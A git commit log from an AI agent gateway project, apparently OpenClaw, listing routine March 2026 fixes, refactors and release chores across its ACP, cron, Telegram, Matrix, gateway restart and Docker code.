Reviewed-by: @mbelinky
2026-03-09 23:22:09 +01:00
Altay
531e8362b1 Agents: add fallback error observations (#41337)
Merged via squash.

Prepared head SHA: 852469c82f
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 01:12:10 +03:00
Mariano
3c3474360b acp: harden follow-up reliability and attachments (#41464)
Merged via squash.

Prepared head SHA: 7d167dff54
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 23:03:50 +01:00
Altay
0669b0ddc2 fix(agents): probe single-provider billing cooldowns (#41422)
Merged via squash.

Prepared head SHA: bbc4254b94
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 00:58:51 +03:00
Mariano
0c7f07818f acp: add regression coverage and smoke-test docs (#41456)
Merged via squash.

Prepared head SHA: 514d587352
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 22:40:14 +01:00
Mariano
4aebff78bc acp: forward attachments into ACP runtime sessions (#41427)
Merged via squash.

Prepared head SHA: f2ac51df2c
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 22:32:32 +01:00
Mariano
8e3f3bc3cf acp: enrich streaming updates for ide clients (#41442)
Merged via squash.

Prepared head SHA: 0764368e80
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 22:26:46 +01:00
Altay
30340d6835 Sandbox: import STATE_DIR from paths directly (#41439) 2026-03-10 00:18:41 +03:00
Mariano
d346f2d9ce acp: restore session context and controls (#41425)
Merged via squash.

Prepared head SHA: fcabdf7c31
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 22:17:19 +01:00
Mariano
e6e4169e82 acp: fail honestly in bridge mode (#41424)
Merged via squash.

Prepared head SHA: b5e6e13afe
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 22:01:30 +01:00
Mariano
1bc59cc09d Gateway: tighten node pending drain semantics (#41429)
Merged via squash.

Prepared head SHA: 361c2eb5c8
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 21:56:00 +01:00
Mariano
ef95975411 Gateway: add pending node work primitives (#41409)
Merged via squash.

Prepared head SHA: a6d7ca90d7
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 21:42:57 +01:00
zerone0x
5f90883ad3 fix(auth): reset cooldown error counters on expiry to prevent infinite escalation (#41028)
Merged via squash.

Prepared head SHA: 89bd83f09a
Co-authored-by: zerone0x <39543393+zerone0x@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-09 23:40:11 +03:00
Robin Waslander
2b2e5e2038 fix(cron): do not misclassify empty/NO_REPLY as interim acknowledgement (#41401)
* fix(cron): do not misclassify empty/NO_REPLY as interim acknowledgement

When a cron task's agent returns NO_REPLY, the payload filter strips the
silent token, leaving an empty text string. isLikelyInterimCronMessage()
previously returned true for empty input, causing the cron runner to
inject a forced rerun prompt ('Your previous response was only an
acknowledgement...').

Change the empty-string branch to return false: empty text after payload
filtering means the agent deliberately chose silent completion, not that
it sent an interim 'on it' message.

Fixes #41246

* fix(cron): do not misclassify empty/NO_REPLY as interim acknowledgement

Fixes #41246. (#41383) thanks @jackal092927.

---------

Co-authored-by: xaeon2026 <xaeon2026@gmail.com>
2026-03-09 21:16:28 +01:00
Mariano
0bcddb3d4f iOS: reconnect gateway on foreground return (#41384)
Merged via squash.

Prepared head SHA: 0e2e0dcc36
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 21:12:23 +01:00
Vincent Koc
d86647d7db Doctor: fix non-interactive cron repair gating (#41386) 2026-03-09 12:35:31 -07:00
Altay
87d939be79 Agents: add embedded error observations (#41336)
Merged via squash.

Prepared head SHA: 4900042298
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-09 22:27:05 +03:00
Mariano
d4e59a3666 Cron: enforce cron-owned delivery contract (#40998)
Merged via squash.

Prepared head SHA: 5877389e33
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 20:12:37 +01:00
Vincent Koc
7b88249c9e fix(telegram): bridge direct delivery to internal message:sent hooks (#40185)
* telegram: bridge direct delivery message hooks

* telegram: align sent hooks with command session
2026-03-09 11:21:19 -07:00
Vincent Koc
12702e11a5 plugins: harden global hook runner state (#40184) 2026-03-09 11:20:33 -07:00
Pejman Pour-Moezzi
14bbcad169 fix(acp): propagate setSessionMode gateway errors to client (#41185)
* fix(acp): propagate setSessionMode gateway errors to client

* fix: add changelog entry for ACP setSessionMode propagation (#41185) (thanks @pejmanjohn)

---------

Co-authored-by: Pejman Pour-Moezzi <481729+pejmanjohn@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
2026-03-09 17:50:38 +01:00
Pejman Pour-Moezzi
eab39c721b fix(acp): map error states to end_turn instead of unconditional refusal (#41187)
* fix(acp): map error states to end_turn instead of unconditional refusal

* fix: map ACP error stop reason to end_turn (#41187) (thanks @pejmanjohn)

---------

Co-authored-by: Pejman Pour-Moezzi <481729+pejmanjohn@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
2026-03-09 17:37:33 +01:00
Radek Sienkiewicz
4815dc0603 Update CONTRIBUTING.md 2026-03-09 17:27:29 +01:00
Robin Waslander
2cce45962f Add Robin Waslander to maintainers 2026-03-09 17:23:56 +01:00
Radek Sienkiewicz
258b7902a4 Update CONTRIBUTING.md 2026-03-09 17:13:16 +01:00
xaeon2026
425bd89b48 Allow ACP sessions.patch lineage fields on ACP session keys (#40995)
Merged via squash.

Prepared head SHA: c1191edc08
Co-authored-by: xaeon2026 <264572156+xaeon2026@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 17:08:11 +01:00
Charles Dusek
54be30ef89 fix(agents): bound compaction retry wait and drain embedded runs on restart (#40324)
Merged via squash.

Prepared head SHA: cfd99562d6
Co-authored-by: cgdusek <38732970+cgdusek@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-09 08:27:29 -07:00
Daniel Reis
fbf5d56366 test(context-engine): add bundle chunk isolation tests for registry (#40460)
Merged via squash.

Prepared head SHA: 44622abfbc
Co-authored-by: dsantoreis <220753637+dsantoreis@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-09 08:15:35 -07:00
Joshua Lelon Mitchell
98ea71aca5 fix(swiftformat): exclude HostEnvSecurityPolicy.generated.swift from formatters (#39969) 2026-03-09 07:30:43 -07:00
opriz
51bae75120 fix(kimi-coding): fix kimi tool format: use native Anthropic tool schema instead of OpenAI … (openclaw#40008)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: opriz <51957849+opriz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-09 08:28:47 -05:00
Radek Sienkiewicz
f2f561fab1 fix(ui): preserve control-ui auth across refresh (#40892)
Merged via squash.

Prepared head SHA: f9b2375892
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-09 12:50:47 +01:00
Peter Steinberger
f6d0712f50 build: sync plugin versions for 2026.3.9 2026-03-09 08:39:52 +00:00
Peter Steinberger
6c579d7842 fix: stabilize launchd paths and appcast secret scan 2026-03-09 08:37:37 +00:00
Peter Steinberger
f9706fde6a build: bump unreleased version to 2026.3.9 2026-03-09 08:33:58 +00:00
Peter Steinberger
7217b97658 fix(onboard): avoid persisting talk fallback on fresh setup 2026-03-09 08:33:58 +00:00
Peter Steinberger
ce9e91fdfc fix(launchd): harden macOS launchagent install permissions 2026-03-09 08:14:46 +00:00
Peter Steinberger
3caab9260c test: narrow gateway loop signal harness 2026-03-09 07:42:15 +00:00
Peter Steinberger
d0847ee322 chore: prepare 2026.3.8 npm release 2026-03-09 07:37:50 +00:00
Peter Steinberger
1d3dde8d21 fix(update): re-enable launchd service before updater bootstrap 2026-03-09 07:27:11 +00:00
Peter Steinberger
cc0f30f5fb test: fix windows runtime and restart loop harnesses 2026-03-09 07:22:23 +00:00
Peter Steinberger
250d3c949e chore: update appcast for 2026.3.8-beta.1 2026-03-09 07:20:08 +00:00
Peter Steinberger
5fca4c0de0 chore: prepare 2026.3.8-beta.1 release 2026-03-09 07:09:37 +00:00
Peter Steinberger
66c581c64c fix: normalize windows runtime shim executables 2026-03-09 07:01:42 +00:00
Peter Steinberger
912aa8744a test: fix Windows fake runtime bin fixtures 2026-03-09 06:50:52 +00:00
Peter Steinberger
8d2d6db9ad test: fix Node 24+ test runner and subagent registry mocks 2026-03-09 06:45:13 +00:00
Peter Steinberger
2d55ad05f3 docs: move 2026.3.8 entries back to unreleased 2026-03-09 06:34:53 +00:00
Peter Steinberger
9631f4665c chore: refresh secrets baseline 2026-03-09 06:31:35 +00:00
Peter Steinberger
e2a1a4a3db build: sync pnpm lockfile 2026-03-09 06:25:01 +00:00
Peter Steinberger
f82931ba8b docs: reorder 2026.3.8 changelog by impact 2026-03-09 06:24:29 +00:00
Peter Steinberger
17599a8ea2 refactor: flatten supervisor marker hints 2026-03-09 06:19:30 +00:00
Peter Steinberger
e86b38f09d refactor: split cron startup catch-up flow 2026-03-09 06:19:10 +00:00
Peter Steinberger
1d301f74a6 refactor: extract telegram polling session 2026-03-09 06:18:07 +00:00
Peter Steinberger
2e79d82198 build: update app deps except carbon 2026-03-09 06:09:33 +00:00
Peter Steinberger
96d17f3cb1 fix: stagger missed cron jobs on restart (#18925) (thanks @rexlunae) 2026-03-09 06:07:43 +00:00
rexlunae
79853aca9c fix(cron): stagger missed jobs on restart to prevent gateway overload
When the gateway restarts with many overdue cron jobs, they are now
executed with staggered delays to prevent overwhelming the gateway.

- Add missedJobStaggerMs config (default 5s between jobs)
- Add maxMissedJobsPerRestart limit (default 5 jobs immediately)
- Prioritize most overdue jobs by sorting by nextRunAtMs
- Reschedule deferred jobs to fire gradually via normal timer

Fixes #18892
2026-03-09 06:07:43 +00:00
Peter Steinberger
2d5e70f3e7 fix: abort telegram getupdates on shutdown (#23950) (thanks @Gkinthecodeland) 2026-03-09 06:03:46 +00:00
George Kalogirou
6186f620d2 fix(telegram): use manual signal forwarding to avoid cross-realm AbortSignal
AbortSignal.any() fails in Node.js when signals come from different module
contexts (grammY's internal signal vs local AbortController), producing:
"The signals[0] argument must be an instance of AbortSignal. Received an
instance of AbortSignal".

Replace with manual event forwarding that works across all realms.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-09 06:03:46 +00:00
George Kalogirou
2767907abf fix(telegram): abort in-flight getUpdates fetch on shutdown
When the gateway receives SIGTERM, runner.stop() stops the grammY polling
loop but does not abort the in-flight getUpdates HTTP request. That request
hangs for up to 30 seconds (the Telegram API timeout). If a new gateway
instance starts polling during that window, Telegram returns a 409 Conflict
error, causing message loss and requiring exponential backoff recovery.

This is especially problematic with service managers (launchd, systemd)
that restart the process immediately after SIGTERM.

Wire an AbortController into the fetch layer so every Telegram API request
(especially the long-polling getUpdates) aborts immediately on shutdown:

- bot.ts: Accept optional fetchAbortSignal in TelegramBotOptions; wrap
  the grammY fetch with AbortSignal.any() to merge the shutdown signal.
- monitor.ts: Create a per-iteration AbortController, pass its signal to
  createTelegramBot, and abort it from the SIGTERM handler, force-restart
  path, and finally block.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-09 06:03:46 +00:00
Peter Steinberger
9abf014f35 fix(skills): pin validated download roots 2026-03-09 06:00:50 +00:00
Peter Steinberger
cf3a479bd1 fix(node-host): bind bun and deno approval scripts 2026-03-09 05:59:32 +00:00
Peter Steinberger
fd902b0651 fix: detect launchd supervision via xpc service name (#20555) (thanks @dimat) 2026-03-09 05:57:35 +00:00
dimatu
cf796e2a22 fix(gateway): detect launchd supervision via XPC_SERVICE_NAME
On macOS, launchd sets XPC_SERVICE_NAME on managed processes but does
not set LAUNCH_JOB_LABEL or LAUNCH_JOB_NAME. Without checking
XPC_SERVICE_NAME, isLikelySupervisedProcess() returns false for
launchd-managed gateways, causing restartGatewayProcessWithFreshPid()
to fork a detached child instead of returning "supervised". The
detached child holds the gateway lock while launchd simultaneously
respawns the original process (KeepAlive=true), leading to an infinite
lock-timeout / restart loop.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-09 05:57:35 +00:00
merlin
f84adcbe88 fix: release gateway lock on restart failure + reply to Codex reviews
- Release gateway lock when in-process restart fails, so daemon
  restart/stop can still manage the process (Codex P2)
- P1 (env mismatch) already addressed: best-effort by design, documented
  in JSDoc
2026-03-09 05:53:52 +00:00
merlin
f184e7811c fix: move config pre-flight before onNotLoaded in runServiceRestart (Codex P2)
The config check was positioned after onNotLoaded, which could send
SIGUSR1 to an unmanaged process before config was validated.
2026-03-09 05:53:52 +00:00
merlin
c79a0dbdb4 fix: address bot review feedback on #35862
- Remove dead 'return false' in runServiceStart (Greptile)
- Include stack trace in run-loop crash guard error log (Greptile)
- Only catch startup errors on subsequent restarts, not initial start (Codex P1)
- Add JSDoc note about env var false positive edge case (Codex P1)
2026-03-09 05:53:52 +00:00
merlin
335223af32 test: add runServiceStart config pre-flight tests (#35862)
Address Greptile review: add test coverage for runServiceStart path.
The error message copy-paste issue was already fixed in the DRY refactor
(uses params.serviceNoun instead of hardcoded 'restart').
2026-03-09 05:53:52 +00:00
merlin
6740cdf160 fix(gateway): catch startup failure in run loop to prevent process exit (#35862)
When an in-process restart (SIGUSR1) triggers a config-triggered restart
and the new config is invalid, params.start() throws and the while loop
exits, killing the process. On macOS this loses TCC permissions.

Wrap params.start() in try/catch: on failure, set server=null, log the
error, and wait for the next SIGUSR1 instead of crashing.
2026-03-09 05:53:52 +00:00
merlin
eea925b12b fix(gateway): validate config before restart to prevent crash + macOS permission loss (#35862)
When 'openclaw gateway restart' is run with an invalid config, the new
process crashes on startup due to config validation failure. On macOS,
this causes Full Disk Access (TCC) permissions to be lost because the
respawned process has a different PID.

Add getConfigValidationError() helper and pre-flight config validation
in both runServiceRestart() and runServiceStart(). If config is invalid,
abort with a clear error message instead of crashing.

The config watcher's hot-reload path already had this guard
(handleInvalidSnapshot), but the CLI restart/start commands did not.

AI-assisted (OpenClaw agent, fully tested)
2026-03-09 05:53:52 +00:00
Peter Steinberger
88aee9161e fix(msteams): enforce sender allowlists with route allowlists 2026-03-09 05:52:19 +00:00
Peter Steinberger
03a6e3b460 test(cron): cover owner-only tool availability 2026-03-09 05:52:04 +00:00
Peter Steinberger
41e023a80b fix(cron): restore owner-only tools for isolated runs 2026-03-09 05:49:20 +00:00
Peter Steinberger
93775ef6a4 fix(browser): enforce redirect-hop SSRF checks 2026-03-09 05:41:36 +00:00
Peter Steinberger
31402b8542 fix: add changelog for restart timeout recovery (#40380) (thanks @dsantoreis) 2026-03-09 05:38:54 +00:00
DevMac
4bb8104810 test(secrets): skip ACL-dependent runtime snapshot tests on windows 2026-03-09 05:38:54 +00:00
Daniel dos Santos Reis
1d6a2d0165 fix(gateway): exit non-zero on restart shutdown timeout
When a config-change restart hits the force-exit timeout, exit with
code 1 instead of 0 so launchd/systemd treats it as a failure and
triggers a clean process restart. Stop-timeout stays at exit(0)
since graceful stops should not cause supervisor recovery.

Closes #36822
2026-03-09 05:38:54 +00:00
scoootscooob
44beb7be1f fix(daemon): also enable LaunchAgent in repairLaunchAgentBootstrap
The repair/recovery path had the same missing `enable` guard as
`restartLaunchAgent`.  If launchd persists a "disabled" state after a
previous `bootout`, the `bootstrap` call in `repairLaunchAgentBootstrap`
fails silently, leaving the gateway unloaded in the recovery flow.

Add the same `enable` guard before `bootstrap` that was already applied
to `installLaunchAgent` and (in this PR) `restartLaunchAgent`.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-09 05:36:27 +00:00
scoootscooob
69cd376e3b fix(daemon): enable LaunchAgent before bootstrap on restart
restartLaunchAgent was missing the launchctl enable call that
installLaunchAgent already performs. launchd can persist a "disabled"
state after bootout, causing bootstrap to silently fail and leaving the
gateway unloaded until a manual reinstall.

Fixes #39211

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-09 05:36:27 +00:00
Peter Steinberger
41eef15cdc test: fix windows secrets runtime ci 2026-03-09 05:24:09 +00:00
GazeKingNuWu
41450187dd fix: clear plugin discovery cache after plugin installation (openclaw#39752)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: GazeKingNuWu <264914544+GazeKingNuWu@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-09 00:16:25 -05:00
Ayaan Zaidi
a40c29b11a Fix cron text announce delivery for Telegram targets (#40575)
Merged via squash.

Prepared head SHA: 54b1513c78
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-09 10:26:17 +05:30
Bronko
d4a960fcca fix(matrix): restore robust DM routing without the memberCount heuristic (#19736)
* fix(matrix): remove memberCount heuristic from DM detection

The memberCount === 2 check in isDirectMessage() misclassifies 2-person
group rooms (admin channels, monitoring rooms) as DMs, routing them to
the main session instead of their room-specific session.

Matrix already distinguishes DMs from groups at the protocol level via
m.direct account data and is_direct member state flags. Both are already
checked by client.dms.isDm() and hasDirectFlag(). The memberCount
heuristic only adds false positives for 2-person groups.

Move resolveMemberCount() below the protocol-level checks so it is only
reached for rooms not matched by m.direct or is_direct. This narrows its
role to diagnostic logging for confirmed group rooms.

Refs: #19739

* fix(matrix): add conservative fallback for broken DM flags

Some homeservers (notably Continuwuity) have broken m.direct account
data or never set is_direct on invite events. With the memberCount
heuristic removed, these DMs are no longer detected.

Add a conservative fallback that requires two signals before classifying
as DM: memberCount === 2 AND no explicit m.room.name. Group rooms almost
always have explicit names; DMs almost never do.

Error handling distinguishes M_NOT_FOUND (missing state event, expected
for unnamed rooms) from network/auth errors. Non-404 errors fall through
to group classification rather than guessing.

This is independently revertable — removing this commit restores pure
protocol-based detection without any heuristic fallback.

* fix(matrix): add parentPeer for DM room binding support

Add parentPeer to DM routes so conversations are bindable by room ID
while preserving DM trust semantics (secure 1:1, no group restrictions).

Suggested by @KirillShchetinin.

* fix(matrix): override DM detection for explicitly configured rooms

Builds on @robertcorreiro's config-driven approach from #9106.

Move resolveMatrixRoomConfig() before the DM check. If a room matches
a non-wildcard config entry (matchSource === "direct") and was
classified as DM, override the classification to group. This gives users
a deterministic escape hatch for misclassified rooms.

Wildcards are excluded from the override to avoid breaking DM routing
when a "*" catch-all exists. roomConfig is gated behind isRoom so DMs
never inherit group settings (skills, systemPrompt, autoReply).

This commit is independently droppable if the scope is too broad.

* test(matrix): add DM detection and config override tests

- 15 unit tests for direct.ts: all detection paths, priority order,
  M_NOT_FOUND vs network error handling, edge cases (whitespace names,
  API failures)
- 8 unit tests for rooms.ts: matchSource classification, wildcard
  safety for DM override, direct match priority over wildcard

* Changelog: note matrix DM routing follow-up

* fix(matrix): preserve DM fallback and room bindings

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-08 23:26:48 -05:00
Ayaan Zaidi
26e76f9a61 fix: dedupe inbound Telegram DM replies per agent (#40519)
Merged via squash.

Prepared head SHA: 6e235e7d1f
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-09 09:31:05 +05:30
Peter Steinberger
8befd88119 build(protocol): sync generated swift models 2026-03-09 03:49:50 +00:00
Peter Steinberger
99cbda83a2 fix(media): accept reader read result type 2026-03-09 03:49:50 +00:00
Peter Steinberger
e8775cda93 fix(agents): re-expose configured tools under restrictive profiles 2026-03-09 03:49:50 +00:00
Tak Hoffman
ef36cb8cbc chore(acpx): move runtime test fixtures to test-utils (openclaw#40548)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini
2026-03-08 22:47:04 -05:00
Ayaan Zaidi
f114a5c638 test: fix android talk config contract fixture 2026-03-09 09:15:49 +05:30
Kyle
a438ff4397 fix(plugin-sdk): remove remaining bundled plugin src imports (openclaw#39638)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Kyle <3477429+kyledh@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-08 22:32:45 -05:00
Kesku
adec8b28bb alphabetize web search providers (#40259)
Merged via squash.

Prepared head SHA: be6350e5ae
Co-authored-by: kesku <62210496+kesku@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-09 08:54:54 +05:30
Mariano
e3df94365b ACP: add optional ingress provenance receipts (#40473)
Merged via squash.

Prepared head SHA: b63e46dd94
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-09 04:19:03 +01:00
Tyson Cung
4d501e4ccf fix(telegram): add download timeout to prevent polling loop hang (#40098)
Merged via squash.

Prepared head SHA: abdfa1a35f
Co-authored-by: tysoncung <45380903+tysoncung@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-09 08:29:21 +05:30
yuweuii
f6243916b5 fix(models): use 1M context for openai-codex gpt-5.4 (#37876)
Merged via squash.

Prepared head SHA: c41020779e
Co-authored-by: yuweuii <82372187+yuweuii@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-08 18:23:49 -07:00
Radek Sienkiewicz
b34158086a docs(changelog): correct Control UI contributor credit (#40420)
Merged via squash.

Prepared head SHA: e4295fe18b
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-09 02:18:30 +01:00
Vincent Koc
eabda6e3a4 fix(tests): correct security check failure 2026-03-08 18:13:35 -07:00
Vincent Koc
6d5e142b93 Docker: improve build cache reuse (#40351)
* Docker: improve build cache reuse

* Tests: cover Docker build cache layout

* Docker: fix sandbox cache mount continuations

* Docker: document qr-import manifest scope

* Docker: narrow e2e install inputs

* CI: cache Docker builds in workflows

* CI: route sandbox smoke through setup script

* CI: keep sandbox smoke on script path
2026-03-08 17:57:46 -07:00
Radek Sienkiewicz
4f42c03a49 gateway: fix global Control UI 404s for symlinked wrappers and bundled package roots (#40385)
Merged via squash.

Prepared head SHA: 567b3ed684
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-09 01:50:42 +01:00
Peter Steinberger
13bd3db307 chore(docs): drop refactor cleanup tracker 2026-03-09 00:26:20 +00:00
Peter Steinberger
ff4745fc3f refactor(models): split provider discovery helpers 2026-03-09 00:26:20 +00:00
Peter Steinberger
c29b098744 refactor(models): split models.json planning from writes 2026-03-09 00:26:20 +00:00
Peter Steinberger
24b53fcf47 refactor(agents): extract provider model normalization 2026-03-09 00:26:20 +00:00
Peter Steinberger
dfc18b7a2b refactor(models): extract list row builders 2026-03-09 00:26:20 +00:00
Peter Steinberger
141738f717 refactor: harden browser runtime profile handling 2026-03-09 00:25:43 +00:00
bbblending
4ff4ed7ec9 fix(config): refresh runtime snapshot from disk after write. Fixes #37175 (#37313)
Merged via squash.

Prepared head SHA: 69e1861abf
Co-authored-by: bbblending <122739024+bbblending@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-08 19:49:15 -04:00
Peter Steinberger
362248e559 refactor: harden browser relay CDP flows 2026-03-08 23:46:10 +00:00
Peter Steinberger
d47aa6bae8 docs(changelog): remove rebase marker 2026-03-08 23:39:03 +00:00
Peter Steinberger
661af2acd3 fix(agents): bootstrap runtime plugins before context-engine resolution 2026-03-08 23:38:38 +00:00
Peter Steinberger
936ac22ec2 refactor: share channel config adapter base 2026-03-08 23:38:24 +00:00
Peter Steinberger
bf601db3fc test: dedupe brave llm-context rejection cases 2026-03-08 23:38:24 +00:00
Peter Steinberger
5845b5bfba refactor: share multi-account config schema fragments 2026-03-08 23:38:24 +00:00
Peter Steinberger
52a253f18c refactor: reuse broadcast route key construction 2026-03-08 23:38:24 +00:00
Peter Steinberger
3f2f007c9a refactor: extract gateway port diagnostics helper 2026-03-08 23:38:24 +00:00
Peter Steinberger
32a6eae576 refactor: share gateway argv parsing 2026-03-08 23:38:24 +00:00
Peter Steinberger
8d7778d1d6 refactor: dedupe plugin runtime stores 2026-03-08 23:38:24 +00:00
Peter Steinberger
3e70109cb2 docs: add refactor cluster backlog 2026-03-08 23:38:24 +00:00
0xsline
024857050a fix: normalize openai-codex gpt-5.4 transport overrides 2026-03-08 23:35:21 +00:00
Doruk Ardahan
3da8882a02 test(models): refresh list assertions after main sync 2026-03-08 23:30:58 +00:00
Doruk Ardahan
b2b99f0325 fix(models): keep --all aligned with synthetic catalog rows 2026-03-08 23:30:58 +00:00
Vincent Koc
a3dc4b5a57 fix(tui): improve color contrast for light-background terminals (#40345)
* fix(tui): improve colour contrast for light-background terminals (#38636)

Detect light terminal backgrounds via COLORFGBG and apply a WCAG
AA-compliant light palette. Adds OPENCLAW_THEME=light|dark env var
override for terminals without auto-detection.

Uses proper sRGB linearisation and WCAG 2.1 contrast ratios to pick
whichever text palette (dark or light) has higher contrast against
the detected background colour.

Co-authored-by: ademczuk <ademczuk@users.noreply.github.com>

* Update CHANGELOG.md

---------

Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
Co-authored-by: ademczuk <ademczuk@users.noreply.github.com>
2026-03-08 16:17:28 -07:00
Vincent Koc
211f68f8ad docs(changelog): move post-2026.3.8 entries to unreleased (#40342)
* docs(changelog): move post-2026.3.8 entries to unreleased

* Update CHANGELOG.md
2026-03-08 16:11:53 -07:00
Vincent Koc
3f3f66a5f7 Docker: trim runtime image payload (#40307)
* Docker: shrink runtime image payload

* Docker: add runtime pnpm opt-in

* Docker: collapse helper entrypoint chmod layers

* Docker: restore bundled pnpm runtime

* Update CHANGELOG.md
2026-03-08 16:07:04 -07:00
langdon
bd1fe4d8b4 fix(run-openclaw-podman): add SELinux :Z mount option on enforcing/permissive hosts (#39449)
* fix(run-openclaw-podman): add SELinux :Z mount option on Linux with enforcing/permissive SELinux

* fix(quadlet): add SELinux :Z label to openclaw.container.in volume mount

* fix(podman): add SELinux :Z mount option for Fedora/RHEL hosts

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>

---------

Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 18:53:09 -04:00
Vincent Koc
3ea3a1c0ca Update CHANGELOG.md 2026-03-08 15:35:13 -07:00
Vincent Koc
da6592b681 Update CHANGELOG.md 2026-03-08 15:34:56 -07:00
Mariano
abb8f63107 iOS: auto-load the scoped gateway canvas with safe fallback (#40282)
Merged via squash.

- mb-server validation: `swift test --package-path apps/shared/OpenClawKit --filter GatewayNodeSessionTests`
- mb-server validation: `pnpm build`
- Scope note: top-level `RootTabs` shell change was intentionally removed from this PR before merge
2026-03-08 22:47:39 +01:00
Mariano
e806c479f5 Gateway/iOS: replay queued foreground actions safely after resume (#40281)
Merged via squash.

- Local validation: `pnpm exec vitest run --config vitest.gateway.config.ts src/gateway/server-methods/nodes.invoke-wake.test.ts`
- Local validation: `pnpm build`
- mb-server validation: `pnpm exec vitest run --config vitest.gateway.config.ts src/gateway/server-methods/nodes.invoke-wake.test.ts`
- mb-server validation: `pnpm build`
- mb-server validation: `pnpm protocol:check`
2026-03-08 22:46:54 +01:00
